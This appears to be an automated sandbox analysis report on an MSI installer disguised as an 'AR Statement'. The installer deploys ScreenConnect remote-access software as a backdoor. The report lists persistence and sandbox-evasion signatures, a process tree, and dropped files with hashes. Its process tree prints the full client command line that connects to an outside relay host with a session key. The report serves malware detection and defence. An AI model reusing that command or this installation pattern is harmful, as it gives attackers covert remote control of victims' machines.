Analysis

  • max time kernel
    149s
  • max time network
    155s
  • platform
    windows11-ltsc_2024_x64
  • resource
    win11ltsc2024-20260709-en
  • resource tags

    arch:x64arch:x86image:win11ltsc2024-20260709-enlocale:en-usos:windows11-ltsc_2024-x64systemwindows
  • submitted
    03/08/2026, 16:29

General

  • Target
    AR Statement/File.ClientSetup.msi
  • Size 12.8MB
  • Sample260803-ty96cstamf
  • SHA256 f8d4db2294c4aa167f767de2e016b5498e7ccd1955002292769e50c9ca53c332
  • MD5 SHA1 SHA512 SSDEEP TLSH

Malware Config

Signatures

  • Sets service image path in registry 3 TTPs 1 IoCs

    This determines the executable launched when a service starts. It can be used to establish persistence.

  • Signed with revoked ConnectWise certificate 6 IoCs

    Binary is signed using a ConnectWise certificate revoked for key compromise.

  • ConnectWise ScreenConnect remote access tool

    ConnectWise ScreenConnect is a remote desktop tool that can be used as a backdoor.

  • Event Triggered Execution: Component Object Model Hijacking 1 TTPs

    Adversaries may establish persistence by executing malicious content triggered by hijacked references to Component Object Model (COM) objects.

  • Executes dropped EXE 6 IoCs
  • Loads dropped DLL 22 IoCs
  • Enumerates connected drives 3 TTPs 46 IoCs

    Attempts to read the root path of hard drives other than the default C: drive.

  • Boot or Logon Autostart Execution: Authentication Package 1 TTPs 1 IoCs

    Suspicious Windows Authentication Registry Modification.

  • Drops file in System32 directory 17 IoCs
  • Drops file in Program Files directory 19 IoCs
  • Drops file in Windows directory 17 IoCs
  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • Event Triggered Execution: Netsh Helper DLL 1 TTPs 2 IoCs

    Netsh.exe (also referred to as Netshell) is a command-line scripting utility used to interact with the network configuration of a system.

  • System Location Discovery: System Language Discovery 1 TTPs 5 IoCs

    Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

  • Checks SCSI registry key(s) 3 TTPs 5 IoCs

    SCSI information is often read in order to detect sandboxing environments.

  • Checks processor information in registry 2 TTPs 2 IoCs

    Processor information is often read in order to detect sandboxing environments.

  • Modifies data under HKEY_USERS 35 IoCs
  • Modifies registry class 39 IoCs
  • Runs regedit.exe 1 IoCs
  • Suspicious behavior: EnumeratesProcesses 18 IoCs
  • Suspicious behavior: GetForegroundWindowSpam 1 IoCs
  • Suspicious use of AdjustPrivilegeToken 64 IoCs
  • Suspicious use of FindShellTrayWindow 2 IoCs
  • Suspicious use of SetWindowsHookEx 6 IoCs
  • Suspicious use of WriteProcessMemory 11 IoCs
  • Uses Volume Shadow Copy service COM API

    The Volume Shadow Copy service is used to manage backups/snapshots.

Processes

  • C:\Windows\system32\msiexec.exe
    msiexec.exe /I "C:\Users\Admin\AppData\Local\Temp\AR Statement\File.ClientSetup.msi"
    1⤵
    • Enumerates connected drives
    • Suspicious use of AdjustPrivilegeToken
    • Suspicious use of FindShellTrayWindow
    • Suspicious use of SetWindowsHookEx
    PID:5832
  • C:\Windows\system32\msiexec.exe
    C:\Windows\system32\msiexec.exe /V
    1⤵
    • Enumerates connected drives
    • Boot or Logon Autostart Execution: Authentication Package
    • Drops file in Program Files directory
    • Drops file in Windows directory
    • Modifies data under HKEY_USERS
    • Modifies registry class
    • Suspicious behavior: EnumeratesProcesses
    • Suspicious use of AdjustPrivilegeToken
    • Suspicious use of SetWindowsHookEx
    • Suspicious use of WriteProcessMemory
    PID:5468
    • C:\Windows\syswow64\MsiExec.exe
      C:\Windows\syswow64\MsiExec.exe -Embedding 4AD7354D1C99F790245B6221F104CE16 C
      2⤵
      • Loads dropped DLL
      • System Location Discovery: System Language Discovery
      • Suspicious use of SetWindowsHookEx
      • Suspicious use of WriteProcessMemory
      PID:1900
      • C:\Windows\SysWOW64\rundll32.exe
        rundll32.exe "C:\Users\Admin\AppData\Local\Temp\MSI8D23.tmp",zzzzInvokeManagedCustomActionOutOfProc SfxCA_240750187 1 ScreenConnect.InstallerActions!ScreenConnect.ClientInstallerActions.FixupServiceArguments
        3⤵
        • Loads dropped DLL
        • System Location Discovery: System Language Discovery
        PID:3124
    • C:\Windows\system32\srtasks.exe
      C:\Windows\system32\srtasks.exe ExecuteScopeRestorePoint /WaitForRestorePoint:2
      2⤵
        PID:2500
      • C:\Windows\syswow64\MsiExec.exe
        C:\Windows\syswow64\MsiExec.exe -Embedding 4317991C30EC1EA2B6C90FDFBE6A4024
        2⤵
        • Loads dropped DLL
        • System Location Discovery: System Language Discovery
        • Suspicious use of SetWindowsHookEx
        PID:2320
      • C:\Windows\syswow64\MsiExec.exe
        C:\Windows\syswow64\MsiExec.exe -Embedding 56F754C0810F5E8706F2CE69E09D5565 E Global\MSI0000
        2⤵
        • Loads dropped DLL
        • Drops file in Windows directory
        • System Location Discovery: System Language Discovery
        • Suspicious use of SetWindowsHookEx
        PID:2960
    • C:\Windows\system32\vssvc.exe
      C:\Windows\system32\vssvc.exe
      1⤵
      • Checks SCSI registry key(s)
      PID:5628
    • C:\Program Files (x86)\ScreenConnect Client (b913188d323d5306)\ScreenConnect.ClientService.exe
      "C:\Program Files (x86)\ScreenConnect Client (b913188d323d5306)\ScreenConnect.ClientService.exe" "?e=Access&y=Guest&h=relay.progradcivil.com&p=8041&s=db43960a-acde-4901-975d-d0e97684d85c&k=BgIAAACkAABSU0ExAAgAAAEAAQAx0qL2jpoYOAF3Tsd6pGKcizeC0iS%2bUIJueOSsTqqiYwwKKrohBjjuuw18dv5KE9%2f3GzPbLC9g1giqqGh4sdLEsytjhi3AoB5pBowurQUwtVm2OlWxEL1%2boq5MjCNI4PwMMRMV%2bSv8lavkTDp%2f4wYGB%2fudG1ee0q327wtLf4p%2bRUruWaw9gpGP8ja8ewI%2bMGO%2bQFaBE68tTNJTMLfTRNDmpiOSPuNw76KaErgjJWiqaGPC%2boKg5vzkf7lOpBO2Q%2bfKUtq0xrbgz6DevBOj6rDj3F69kMUSAsSAKr62MCYwdkGxJR0dPw4tyHLDZTTCaC5GEUOcN9aCWp7UtuASWcel"
      1⤵
      • Sets service image path in registry
      • Executes dropped EXE
      • Loads dropped DLL
      • Drops file in System32 directory
      • System Location Discovery: System Language Discovery
      • Modifies data under HKEY_USERS
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of WriteProcessMemory
      PID:5884
      • C:\Program Files (x86)\ScreenConnect Client (b913188d323d5306)\ScreenConnect.WindowsClient.exe
        "C:\Program Files (x86)\ScreenConnect Client (b913188d323d5306)\ScreenConnect.WindowsClient.exe" "RunRole" "d1b2d502-664f-4384-a56a-e26a314ab23d" "User"
        2⤵
        • Executes dropped EXE
        PID:5780
      • C:\Program Files (x86)\ScreenConnect Client (b913188d323d5306)\ScreenConnect.WindowsClient.exe
        "C:\Program Files (x86)\ScreenConnect Client (b913188d323d5306)\ScreenConnect.WindowsClient.exe" "RunRole" "84d4075f-73a3-4750-a936-b3abc90b1494" "System"
        2⤵
        • Executes dropped EXE
        • Checks processor information in registry
        • Modifies data under HKEY_USERS
        PID:3444
      • C:\Program Files (x86)\ScreenConnect Client (b913188d323d5306)\ScreenConnect.WindowsClient.exe
        "C:\Program Files (x86)\ScreenConnect Client (b913188d323d5306)\ScreenConnect.WindowsClient.exe" "RunRole" "49cf20f1-fd24-4393-9170-c133b2fe330c" "System"
        2⤵
        • Executes dropped EXE
        • Modifies data under HKEY_USERS
        PID:1428
      • C:\Program Files (x86)\ScreenConnect Client (b913188d323d5306)\ScreenConnect.WindowsBackstageShell.exe
        "C:\Program Files (x86)\ScreenConnect Client (b913188d323d5306)\ScreenConnect.WindowsBackstageShell.exe"
        2⤵
        • Executes dropped EXE
        • Drops file in System32 directory
        • Modifies data under HKEY_USERS
        • Modifies registry class
        • Suspicious use of SetWindowsHookEx
        • Suspicious use of WriteProcessMemory
        PID:1064
        • C:\Windows\regedit.exe
          "C:\Windows\regedit.exe"
          3⤵
          • Event Triggered Execution: Netsh Helper DLL
          • Runs regedit.exe
          • Suspicious behavior: GetForegroundWindowSpam
          PID:2732
      • C:\Program Files (x86)\ScreenConnect Client (b913188d323d5306)\ScreenConnect.WindowsClient.exe
        "C:\Program Files (x86)\ScreenConnect Client (b913188d323d5306)\ScreenConnect.WindowsClient.exe" "RunRole" "a888819d-e988-4f7d-9102-0f4f99f45c15" "User"
        2⤵
        • Executes dropped EXE
        • Modifies data under HKEY_USERS
        PID:5188

    Network

          MITRE ATT&CK Enterprise v16

          Replay Monitor

          Loading Replay Monitor...

          Downloads

          e59e7b7.rbs

          • Path C:\Config.Msi\e59e7b7.rbs
          • Size 214KB
          • SHA256 5c5edcc0a3c2a4757ca73dc59c0b622002d136e4326ff91e830f7326e71ffa21
          • MD5 SHA1 SHA512 SSDEEP TLSH

          Client.Override.en-US.resources

          • Path C:\Program Files (x86)\ScreenConnect Client (b913188d323d5306)\Client.Override.en-US.resources
          • Size 227B
          • SHA256 38bdcc2ec25e7464dde7293b5a6ec64eea4b9d9f6fb8c36fdcc5677a6f55b721
          • MD5 SHA1 SHA512 TLSH

          Client.Override.resources

          • Path C:\Program Files (x86)\ScreenConnect Client (b913188d323d5306)\Client.Override.resources
          • Size 33KB
          • SHA256 6ef5b2def8e031f662de01b668f4fb0e3f386cd591a5e316290525c0f828002d
          • MD5 SHA1 SHA512 SSDEEP TLSH

          Client.en-US.resources

          • Path C:\Program Files (x86)\ScreenConnect Client (b913188d323d5306)\Client.en-US.resources
          • Size 48KB
          • SHA256 07d04e6d5376ffc8d81afe8132e0aa6529cccc5ee789bea53d56c1a2da062be4
          • MD5 SHA1 SHA512 SSDEEP TLSH

          Client.resources

          • Path C:\Program Files (x86)\ScreenConnect Client (b913188d323d5306)\Client.resources
          • Size 26KB
          • SHA256 de185ee5d433e6cfbb2e5fcc903dbd60cc833a3ca5299f2862b253a41e7aa08c
          • MD5 SHA1 SHA512 SSDEEP TLSH

          ScreenConnect.Client.dll

          • Path C:\Program Files (x86)\ScreenConnect Client (b913188d323d5306)\ScreenConnect.Client.dll
          • Size 192KB
          • SHA256 ea0a545f40ff491d02172228c1a39ae68344c4340a6094486a47be746952e64f
          • MD5 SHA1 SHA512 SSDEEP TLSH

          ScreenConnect.ClientService.dll

          • Path C:\Program Files (x86)\ScreenConnect Client (b913188d323d5306)\ScreenConnect.ClientService.dll
          • Size 66KB
          • SHA256 fd5818dcdf5fc76316b8f7f96630ec66bb1cb5b5a8127cf300e5842f2c74ffca
          • MD5 SHA1 SHA512 SSDEEP TLSH

          ScreenConnect.ClientService.exe

          • Path C:\Program Files (x86)\ScreenConnect Client (b913188d323d5306)\ScreenConnect.ClientService.exe
          • Size 93KB
          • SHA256 f1b5c000794f046259121c63ed37f9eff0cfe1258588eca6fd85e16d3922767e
          • MD5 SHA1 SHA512 SSDEEP TLSH

          ScreenConnect.WindowsAuthenticationPackage.dll

          • Path C:\Program Files (x86)\ScreenConnect Client (b913188d323d5306)\ScreenConnect.WindowsAuthenticationPackage.dll
          • Size 254KB
          • SHA256 a5b8f0070201e4f26260af6a25941ea38bd7042aefd48cd68b9acf951fa99ee5
          • MD5 SHA1 SHA512 SSDEEP TLSH

          ScreenConnect.WindowsBackstageShell.exe

          • Path C:\Program Files (x86)\ScreenConnect Client (b913188d323d5306)\ScreenConnect.WindowsBackstageShell.exe
          • Size 59KB
          • SHA256 e25f32ba3fa32fd0ddd99eb65b26835e30829b5e4b58573690aa717e093a5d8f
          • MD5 SHA1 SHA512 SSDEEP TLSH

          ScreenConnect.WindowsClient.exe

          • Path C:\Program Files (x86)\ScreenConnect Client (b913188d323d5306)\ScreenConnect.WindowsClient.exe
          • Size 588KB
          • SHA256 600cf10e27311e60d32722654ef184c031a77b5ae1f8abae8891732710afee31
          • MD5 SHA1 SHA512 SSDEEP TLSH

          ScreenConnect.WindowsClient.exe.config

          • Path C:\Program Files (x86)\ScreenConnect Client (b913188d323d5306)\ScreenConnect.WindowsClient.exe.config
          • Size 266B
          • SHA256 87c640d3184c17d3b446a72d5f13d643a774b4ecc7afbedfd4e8da7795ea8077
          • MD5 SHA1 SHA512 TLSH

          ScreenConnect.WindowsCredentialProvider.dll

          • Path C:\Program Files (x86)\ScreenConnect Client (b913188d323d5306)\ScreenConnect.WindowsCredentialProvider.dll
          • Size 822KB
          • SHA256 7a80e8f654b9ddb15dda59ac404d83dbaf4f6eafafa7ecbefc55506279de553d
          • MD5 SHA1 SHA512 SSDEEP TLSH

          ScreenConnect.WindowsFileManager.exe

          • Path C:\Program Files (x86)\ScreenConnect Client (b913188d323d5306)\ScreenConnect.WindowsFileManager.exe
          • Size 79KB
          • SHA256 ebd04a4540d6e76776bd58deea627345d0f8fba2c04cc65be5e979a8a67a62a1
          • MD5 SHA1 SHA512 SSDEEP TLSH

          app.config

          • Path C:\Program Files (x86)\ScreenConnect Client (b913188d323d5306)\app.config
          • Size 2KB
          • SHA256 0e1363deb4a78ddb673919723bfbf3b31de2b2621df2f6bfd74c91aad899beca
          • MD5 SHA1 SHA512 TLSH

          system.config

          • Path C:\Program Files (x86)\ScreenConnect Client (b913188d323d5306)\system.config
          • Size 950B
          • SHA256 ceef840968e7ea24c1864739991c1df5f2ffc2a71a0c754e485b532bf9a0ec52
          • MD5 SHA1 SHA512 TLSH

          MSI8D23.tmp

          • Path C:\Users\Admin\AppData\Local\Temp\MSI8D23.tmp
          • Size 1.0MB
          • SHA256 0918d8ab2237368a5cec8ce99261fb07a1a1beeda20464c0f91af0fe3349636b
          • MD5 SHA1 SHA512 SSDEEP TLSH

          Microsoft.Deployment.WindowsInstaller.dll

          • Path C:\Users\Admin\AppData\Local\Temp\MSI8D23.tmp-\Microsoft.Deployment.WindowsInstaller.dll
          • Size 172KB
          • SHA256 3e54286e348ebd3d70eaed8174cca500455c3e098cdd1fccb167bc43d93db29d
          • MD5 SHA1 SHA512 SSDEEP TLSH

          ScreenConnect.Core.dll

          • Path C:\Users\Admin\AppData\Local\Temp\MSI8D23.tmp-\ScreenConnect.Core.dll
          • Size 536KB
          • SHA256 a2e9752de49d18e885cbd61b29905983d44b4bc0379a244bfabdaa3188c01f0a
          • MD5 SHA1 SHA512 SSDEEP TLSH

          ScreenConnect.InstallerActions.dll

          • Path C:\Users\Admin\AppData\Local\Temp\MSI8D23.tmp-\ScreenConnect.InstallerActions.dll
          • Size 11KB
          • SHA256 d727a640723d192aa3ece213a173381682041cb28d8bd71781524dbae3ddbf62
          • MD5 SHA1 SHA512 SSDEEP TLSH

          ScreenConnect.Windows.dll

          • Path C:\Users\Admin\AppData\Local\Temp\MSI8D23.tmp-\ScreenConnect.Windows.dll
          • Size 1.6MB
          • SHA256 84a09ed81afc5ff9a17f81763c044c82a2d9e26f852de528112153ee9ab041d0
          • MD5 SHA1 SHA512 SSDEEP TLSH

          MSIEEAD.tmp

          • Path C:\Windows\Installer\MSIEEAD.tmp
          • Size 202KB
          • SHA256 3cff4ac91288a0ff0c13278e73b282a64e83d089c5a61a45d483194ab336b852
          • MD5 SHA1 SHA512 SSDEEP TLSH

          e59e7b6.msi

          • Path C:\Windows\Installer\e59e7b6.msi
          • Size 12.8MB
          • SHA256 f8d4db2294c4aa167f767de2e016b5498e7ccd1955002292769e50c9ca53c332
          • MD5 SHA1 SHA512 SSDEEP TLSH

          metadata-2

          • Path \??\GLOBALROOT\Device\HarddiskVolumeShadowCopy2\System Volume Information\SPP\metadata-2
          • Size 26.1MB
          • SHA256 f586ae97abba7d716dad429a217d3476415632715f957e750be8a52588700bf9
          • MD5 SHA1 SHA512 SSDEEP TLSH

          {3a8d9991-7d98-4c39-80d2-52a791aa89d7}_OnDiskSnapshotProp

          • Path \??\Volume{c61f3bad-0000-0000-0000-d08302000000}\System Volume Information\SPP\OnlineMetadataCache\{3a8d9991-7d98-4c39-80d2-52a791aa89d7}_OnDiskSnapshotProp
          • Size 6KB
          • SHA256 5727d2a58a90fd9e6f44dc5ca3747526e75359c4a03171b1a376f6bab2ff0a40
          • MD5 SHA1 SHA512 SSDEEP TLSH

          memory/1064-130-0x0000000000010000-0x0000000000022000-memory.dmp

          memory/1428-137-0x0000000180000000-0x0000000180055000-memory.dmp

          memory/3124-30-0x00000000058B0000-0x0000000005A5A000-memory.dmp

          memory/3124-26-0x0000000003570000-0x00000000035FC000-memory.dmp

          memory/3124-18-0x0000000003450000-0x000000000347E000-memory.dmp

          memory/3124-22-0x0000000003490000-0x000000000349A000-memory.dmp

          memory/3124-31-0x0000000006020000-0x00000000065DA000-memory.dmp

          memory/5780-121-0x000000001BF60000-0x000000001C10A000-memory.dmp

          memory/5780-123-0x0000000002D80000-0x0000000002D98000-memory.dmp

          memory/5780-118-0x0000000000CD0000-0x0000000000D66000-memory.dmp

          memory/5780-119-0x0000000002DA0000-0x0000000002DD6000-memory.dmp

          memory/5780-124-0x0000000002E10000-0x0000000002E28000-memory.dmp

          memory/5780-120-0x0000000002FB0000-0x000000000303C000-memory.dmp

          memory/5780-122-0x000000001C2A0000-0x000000001C428000-memory.dmp

          memory/5884-108-0x0000000004E50000-0x0000000004F22000-memory.dmp

          memory/5884-104-0x0000000004C60000-0x0000000004CF2000-memory.dmp

          memory/5884-106-0x00000000048C0000-0x0000000004901000-memory.dmp

          memory/5884-103-0x0000000004960000-0x0000000004996000-memory.dmp

          memory/5884-132-0x0000000006300000-0x0000000006366000-memory.dmp

          memory/5884-99-0x0000000004910000-0x0000000004960000-memory.dmp

          memory/5884-76-0x0000000004680000-0x0000000004698000-memory.dmp